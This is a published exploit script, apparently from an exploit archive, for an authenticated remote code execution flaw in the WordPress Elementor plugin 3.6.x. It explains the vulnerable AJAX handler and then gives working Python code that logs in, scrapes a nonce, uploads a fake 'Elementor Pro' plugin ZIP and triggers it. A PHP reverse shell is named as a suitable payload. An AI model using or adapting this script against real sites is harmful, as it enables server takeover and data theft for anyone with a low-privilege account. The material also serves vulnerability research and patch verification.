WordPress Plugin Elementor 3.6.2 – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: WordPress Plugin Elementor 3.6.2 - Remote Code Execution (RCE) (Authenticated) # Date: 04/16/2022 # Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec) # Vendor Homepage: https://elementor.com/ # Software Link: https://wordpress.org/plugins/elementor/advanced/ (scroll down to select the version) # Version: 3.6.0, 3.6.1, 3.62 # Tested on: WordPress 5.9.3 (os-independent since this exploit does NOT provide the payload) #!/usr/bin/python import requests import re # WARNING: This exploit does NOT include the payload. # Also, be sure you already have some valid credentials. This exploit needs an account in order to work. # # # # # VULNERABILITY DESCRIPTION # # # # # # The WordPress plugin called Elementor (v. 3.6.0, 3.6.1, 3.6.2) has a vulnerability that allows any authenticated user to upload and execute any PHP file. # This vulnerability, in the OWASP TOP 10 2021, is placed in position #1 (Broken Access Control) # The file that contains this vulnerability is elementor/core/app/modules/onboarding/module.php # # At the end of this file you can find this code: # add_action( 'admin_init', function() { # if ( wp_doing_ajax() && # isset( $_POST['action'] ) && # isset( $_POST['_nonce'] ) && # wp_verify_nonce( $_POST['_nonce'], Ajax::NONCE_KEY ) # ) { # $this->maybe_handle_ajax(); # } # } ); # # This code is triggered whenever ANY user account visits /wp-admin # In order to work we need the following 4 things: # 1. The call must be an "ajax call" (wp_doing_ajax()) and the method must be POST. In order to do this, we only need to call /wp-admin/admin-ajax.php # 2. The parameter "action" must be "elementor_upload_and_install_pro" (check out the function named maybe_handle_ajax() in the same file) # 3. The parameter "_nonce" must be retrieved after login by inspecting the /wp-admin page (this exploit does this in DoLogin function) # 4. The parameter "fileToUpload" must contain the ZIP archive we want to upload (check out the function named upload_and_install_pro() in the same file) # # The file we upload must have the following structure: # 1. It must be a ZIP file. You can name it as you want. # 2. It must contain a folder called "elementor-pro" # 3. This folder must contain a file named "elementor-pro.php"# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else) # 4. The payload must contain AT LEAST the plugin name, otherwise WordPress will NOT accept it and the upload will FAIL # e.g. # <?php # /** # * Plugin Name: Elementor Pro # */ # // Actual PHP payload # ?> # This file will be YOUR payload (e.g. PHP Reverse Shell or anything else) # # WARNING: The fake plugin we upload will be activated by Elementor, this means that each time we visit any page we trigger our payload. # If it tries, for example, to connect to an offline host, it could lead to a Denial of Service. # In order to prevent this, I suggest you to use some variable to activate the payload. # Something like this (visit anypage.php?activate=1 in order to continue with the actual payload): # if (!isset($_GET['activate'])) # return; # Change the following 4 variables: payloadFileName = 'elementor-pro.zip' # Change this with the path of the ZIP archive that contains your payload baseUrl = 'http://192.168.56.103/wordpress/' # Change this with the base url of the target username = 'guest' # Change this with the username you want to use to log in password = 'test' # Change this with the password you want to use to log in # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # session = requests.Session() cookies = { 'wordpress_test_cookie' : 'WP+Cookie+check' } # WordPress needs this to tell if browser can manage cookies def DoLogin(username, password): global cookies loginUrl = baseUrl + 'wp-login.php' adminUrl = baseUrl + 'wp-admin/' data = { 'log' : username, 'pwd' : password, 'wp-submit' : 'Login', 'redirect_to' : adminUrl, 'testcookie' : 1 } # search for: "ajax":{"url":"http:\/\/baseUrl\/wp-admin\/admin-ajax.php","nonce":"4e8878bdba"} # 4e8878bdba is just an example of nonce. It can be anything else. regexp = re.compile('"ajax":\\{"url":".+admin\\-ajax\\.php","nonce":"(.+)"\\}') response = session.post(loginUrl, cookies=cookies, data=data) search = regexp.search(response.text) if not search: # I've tested this on WordPress v. 5.9.3 # Fix the regexp if needed. print('Error - Invalid credentials?') #print(response.text) else: return search.group(1) def UploadFile(fileName, nonce): uploadUrl = baseUrl + 'wp-admin/admin-ajax.php' data = { 'action' : 'elementor_upload_and_install_pro', '_nonce' : nonce } files = { 'fileToUpload' : open(fileName, 'rb') } regexp = re.compile('"elementorProInstalled":true') # search for: "elementorProInstalled":true response = session.post(uploadUrl, data=data, files=files) search = regexp.search(response.text) if not search: # If Elemento Pro is already installed, the upload will fail. # You can print the response to investigate further print ('Error - Upload failed') # print (response.text) return False else: print ('Upload completed successfully!') return True # Define YOUR method to activate your payload (if needed) def ActivatePayload(): payloadUrl = baseUrl + 'index.php?activate=1' session.get(payloadUrl) print('Trying to login...') nonce = DoLogin(username, password) print('Nonce found: ' + nonce) print('Uploading payload...') fileUploaded = UploadFile(payloadFileName, nonce) # Define YOUR method to activate your payload (if needed) if fileUploaded: print ('Activating payload...') ActivatePayload() |